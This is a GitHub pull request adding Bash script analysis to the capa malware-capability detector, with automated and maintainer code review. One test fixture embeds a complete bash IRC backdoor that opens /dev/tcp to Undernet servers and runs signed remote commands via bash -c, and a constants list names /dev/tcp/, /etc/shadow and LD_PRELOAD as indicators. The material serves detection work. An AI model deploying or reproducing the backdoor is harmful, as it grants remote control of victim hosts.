Script Analysis: Bash Support - #3121
Conversation
There was a problem hiding this comment.
Code Review
This pull request introduces Tree-Sitter script analysis support to capa, enabling the extraction of features from script languages such as C#, Python, Bash, and HTML. It adds a new script extractor backend, defines a new "script" format, introduces FileOffsetRangeAddress and ScriptLanguage features, and updates rules and freeze serialization to support them. Several issues and improvement opportunities were identified in the review: language detection in get_language should prioritize file extensions for accuracy and efficiency; get_idalib_extractor in tests must remain a context manager to prevent resource leaks; duplicate definitions of FORMAT_SCRIPT should be cleaned up; parse_integer and parse_int need to correctly handle signed numbers; a potential UnboundLocalError in capa/helpers.py should be avoided by using a with statement; set operations in rule indexing can be optimized; and missing assertions in the Tree-Sitter tests should be added to ensure proper validation.
Important
The consumer version of Gemini Code Assist on GitHub is being sunset. Starting June 18, 2026, new organization installations will be blocked, and all code review activity will officially cease on July 17, 2026.
For more details on the timeline and next steps, please review the Help Documentation.
| FORMAT_SCRIPT = "script" | ||
| FORMAT_DOTNET = "dotnet" | ||
| VALID_FORMAT = (FORMAT_PE, FORMAT_ELF, FORMAT_DOTNET) | ||
| FORMAT_SCRIPT = "script" | ||
| VALID_FORMAT = (FORMAT_PE, FORMAT_ELF, FORMAT_DOTNET, FORMAT_SCRIPT) |
There was a problem hiding this comment.
The constant FORMAT_SCRIPT is defined twice in this block (on line 498 and line 500). We should remove the duplicate definition.
| FORMAT_SCRIPT = "script" | |
| FORMAT_DOTNET = "dotnet" | |
| VALID_FORMAT = (FORMAT_PE, FORMAT_ELF, FORMAT_DOTNET) | |
| FORMAT_SCRIPT = "script" | |
| VALID_FORMAT = (FORMAT_PE, FORMAT_ELF, FORMAT_DOTNET, FORMAT_SCRIPT) | |
| FORMAT_SCRIPT = "script" | |
| FORMAT_DOTNET = "dotnet" | |
| VALID_FORMAT = (FORMAT_PE, FORMAT_ELF, FORMAT_DOTNET, FORMAT_SCRIPT) |
| def parse_int(s: str) -> int: | ||
| if s.startswith(("0x", "-0x")): | ||
| if s.startswith("0x"): | ||
| return int(s, 0x10) | ||
| else: | ||
| return int(s, 10) |
There was a problem hiding this comment.
Removing "-0x" from the prefix check breaks parsing of negative hexadecimal values in rules (e.g., -0x10). We should keep support for negative hex values.
| def parse_int(s: str) -> int: | |
| if s.startswith(("0x", "-0x")): | |
| if s.startswith("0x"): | |
| return int(s, 0x10) | |
| else: | |
| return int(s, 10) | |
| def parse_int(s: str) -> int: | |
| if s.startswith(("0x", "-0x")): | |
| return int(s, 0x10) | |
| else: | |
| return int(s, 10) |
| def do_test_ts_extractor_engine_get_assigned_property_names( | ||
| engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] | ||
| ): | ||
| assert len(list(engine.get_processed_property_names(root_node))) == len(expected) | ||
| for (node, _name), _expected_name in zip(engine.get_processed_property_names(root_node), expected): | ||
| assert isinstance(node, Node) | ||
| do_test_ts_base_engine_get_address(engine, node) |
There was a problem hiding this comment.
The loop in do_test_ts_extractor_engine_get_assigned_property_names unpacks _name and _expected_name but never asserts that they are equal. This means the test is not actually verifying that the correct property names are extracted.
We should add an assertion to verify the property names.
| def do_test_ts_extractor_engine_get_assigned_property_names( | |
| engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] | |
| ): | |
| assert len(list(engine.get_processed_property_names(root_node))) == len(expected) | |
| for (node, _name), _expected_name in zip(engine.get_processed_property_names(root_node), expected): | |
| assert isinstance(node, Node) | |
| do_test_ts_base_engine_get_address(engine, node) | |
| def do_test_ts_extractor_engine_get_assigned_property_names( | |
| engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] | |
| ): | |
| assert len(list(engine.get_processed_property_names(root_node))) == len(expected) | |
| for (node, name), expected_name in zip(engine.get_processed_property_names(root_node), expected): | |
| assert isinstance(node, Node) | |
| assert name == expected_name | |
| do_test_ts_base_engine_get_address(engine, node) |
83a97b2 to
600659a
Compare
|
It's currently hard to review this pr though since there are thousands of changes with many from the other branch. |
dfdfb5d to
921f4b5
Compare
ff274f4 to
5d43ed1
Compare
0465925 to
e077611
Compare
e077611 to
1bb7a94
Compare
There was a problem hiding this comment.
Please add bug fixes, new features, breaking changes and anything else you think is worthwhile mentioning to the master (unreleased) section of CHANGELOG.md. If no CHANGELOG update is needed add the following to the PR description: [x] No CHANGELOG update needed
CHANGELOG updated or no update needed, thanks! 😄
4c3c850 to
6029cbb
Compare
d70db63 to
091b508
Compare
8965937 to
1887c01
Compare
Adds static analysis for script files (C#, Python, ASPX, HTML embedded scripts) using Tree-Sitter feature extractors. Revives and completes work originally introduced in mandiant#1080. Co-authored-by: Edoardo Allegrini <allegrini.1969146@studenti.uniroma1.it> Co-authored-by: Adam Storek <adamstorek@users.noreply.github.com>
091b508 to
3a94b33
Compare
229d3f4 to
7848927
Compare
5b618d0 to
3a94b33
Compare
cf368b7 to
1cf1feb
Compare
mike-hunhoff
left a comment
There was a problem hiding this comment.
Nice work @saniyafatima07 🚀 . I've left comments for your review!
| "global_statement": """ | ||
| (program | ||
| [ | ||
| (command) @global-statement | ||
| (variable_assignment) @global-statement | ||
| (if_statement) @global-statement | ||
| ]) | ||
| """, |
There was a problem hiding this comment.
PSEUDO_MAIN iterates exclusively over engine.get_global_statements() therefore any top-level construct outside of these three types is completely ignored. Let's expand global_statement to include all top-level statement constructs, e.g. something like:
"global_statement": """
(program
[
(command)
(variable_assignment)
(if_statement)
(while_statement)
(for_statement)
(c_style_for_statement)
(until_statement)
(case_statement)
(pipeline)
(list)
(compound_statement)
(subshell)
(declaration_command)
(test_command)
(negated_command)
(redirected_statement)
] @global-statement)
"""
Please also add some feature presence tests to exercise these additions.
| if new_candidates: | ||
| candidate_rule_names.update(new_candidates) | ||
| candidate_rules.extend([self.rules[rule_name] for rule_name in new_candidates]) | ||
| candidate_rules.extend([self.rules[rule_name] for rule_name in set(new_candidates)]) |
There was a problem hiding this comment.
Please provide context for this change
There was a problem hiding this comment.
I had added it while debugging and is not required now. Will remove it.
| elif sample.name.endswith(EXTENSIONS_ELF): | ||
| format_ = FORMAT_ELF |
There was a problem hiding this comment.
Please provide context for this change.
There was a problem hiding this comment.
It happen during a rebase. Will remove the duplicated additions.
|
|
||
| import json | ||
| import logging | ||
| import tempfile |
There was a problem hiding this comment.
Please provide context for this change.
There was a problem hiding this comment.
Since tempfile is only used is idalib_extractor, will shift it back to that scope itself.
| "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs\nglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW\nrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF\nWRq+Z8HYMvPlgSRA3wIDAQAB\n-----END PUBLIC KEY-----\n", | ||
| "'XXXXXXXX'", | ||
| "'EOFMARKER'", | ||
| '#!/bin/bash\n\nSYS=`uname -a | md5sum | awk -F\' \' \'{print $1}\'`\nNICK=a${SYS:24}\nwhile [ true ]; do\n\n\tarr[0]="ix1.undernet.org"\n\tarr[1]="ix2.undernet.org"\n\tarr[2]="Ashburn.Va.Us.UnderNet.org"\n\tarr[3]="Bucharest.RO.EU.Undernet.Org"\n\tarr[4]="Budapest.HU.EU.UnderNet.org"\n\tarr[5]="Chicago.IL.US.Undernet.org"\n\trand=$[$RANDOM % 6]\n\tsvr=${arr[$rand]}\n\n\teval \'exec 3<>/dev/tcp/$svr/6667;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\n\techo $NICK\n\n\teval \'printf "NICK $NICK\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\teval \'printf "USER user 8 * :IRC hi\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\tcontinue\n\tfi\n\n\t# Main loop\n\twhile [ true ]; do\n\t\teval "read msg_in <&3;"\n\n\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tbreak\n\t\tfi\n\n\t\tif [[ "$msg_in" =~ "PING" ]] ; then\n\t\t\tprintf "PONG %s\\n" "${msg_in:5}";\n\t\t\teval \'printf "PONG %s\\r\\n" "${msg_in:5}" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\t\tsleep 1\n\t\t\teval \'printf "JOIN #biret\\r\\n" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\telif [[ "$msg_in" =~ "PRIVMSG" ]] ; then\n\t\t\tprivmsg_h=$(echo $msg_in| cut -d\':\' -f 3)\n\t\t\tprivmsg_data=$(echo $msg_in| cut -d\':\' -f 4)\n\t\t\tprivmsg_nick=$(echo $msg_in| cut -d\':\' -f 2 | cut -d\'!\' -f 1)\n\n\t\t\thash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F\' \' \'{print $1}\'`\n\t\t\tsign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`\n\n\t\t\tif [[ "$sign" == "$hash" ]] ; then\n\t\t\t\tCMD=`echo $privmsg_data | base64 -d -i`\n\t\t\t\tRES=`bash -c "$CMD" | base64 -w 0`\n\t\t\t\teval \'printf "PRIVMSG $privmsg_nick :$RES\\r\\n" >&3;\'\n\t\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tfi\n\t\tfi\n\tdone\ndone\n', |
There was a problem hiding this comment.
Is this correct? It includes a large portion of the script itself
There was a problem hiding this comment.
Yes, I have captured all the nodes present in the AST and verified them.
| "integer_literal": """ | ||
| [ | ||
| (number) @integer-literal | ||
| (file_descriptor) @integer-literal |
There was a problem hiding this comment.
This emits features for stream numbers from redirections like 2>&1. Are we concerned with these introducing too much noise?
| "/dev/tcp/", | ||
| "/dev/udp/", | ||
| "/etc/shadow", | ||
| "BASH_ENV", | ||
| "LD_LIBRARY_PATH", | ||
| "LD_PRELOAD" |
There was a problem hiding this comment.
I believe the intent is to extract constants/enums like socket.AF_INET in Python but these look like strings? Or maybe I'm missing context.
| "LD_PRELOAD" | ||
| ], | ||
| "builtins": [ | ||
| ".", |
There was a problem hiding this comment.
Please provide context for why we'd want to include .. If we do want to include it, then we should consider normalizing it so we don't have to matching builtins.. in capa rules.
| if language == LANG_BASH: | ||
| continue |
There was a problem hiding this comment.
Please provide context for this change.
| ("aspx_15eed4", "global", Arch(ARCH_ANY), True), | ||
| ("aspx_b75f16", "global", Arch(ARCH_ANY), True), | ||
| ("aspx_d460ca", "global", Arch(ARCH_ANY), True), | ||
| ("sh_91800a", "global", Arch(ARCH_ANY), True), |
There was a problem hiding this comment.
Please add feature presence tests for piped commands, e.g. base64 -d -i | md5sum
10165af to
bffd0f3
Compare
Bumps [setuptools](https://github.com/pypa/setuptools) from 83.0.0 to 84.0.0. - [Changelog](https://github.com/pypa/setuptools/blob/main/NEWS.rst) - [Commits](pypa/setuptools@v83.0.0...v84.0.0) --- updated-dependencies: - dependency-name: setuptools dependency-version: 84.0.0 dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Bumps [pyinstaller](https://github.com/pyinstaller/pyinstaller) from 6.21.0 to 6.22.0. - [Release notes](https://github.com/pyinstaller/pyinstaller/releases) - [Changelog](https://github.com/pyinstaller/pyinstaller/blob/develop/doc/CHANGES.rst) - [Commits](pyinstaller/pyinstaller@v6.21.0...v6.22.0) --- updated-dependencies: - dependency-name: pyinstaller dependency-version: 6.22.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>


Closes #3147
Adds support for bash scripts
Checklist
Parts of this implementation were assisted using AI tools (Codex and ChatGPT).
AI was used for:
All code was reviewed, modified and tested manually before submission.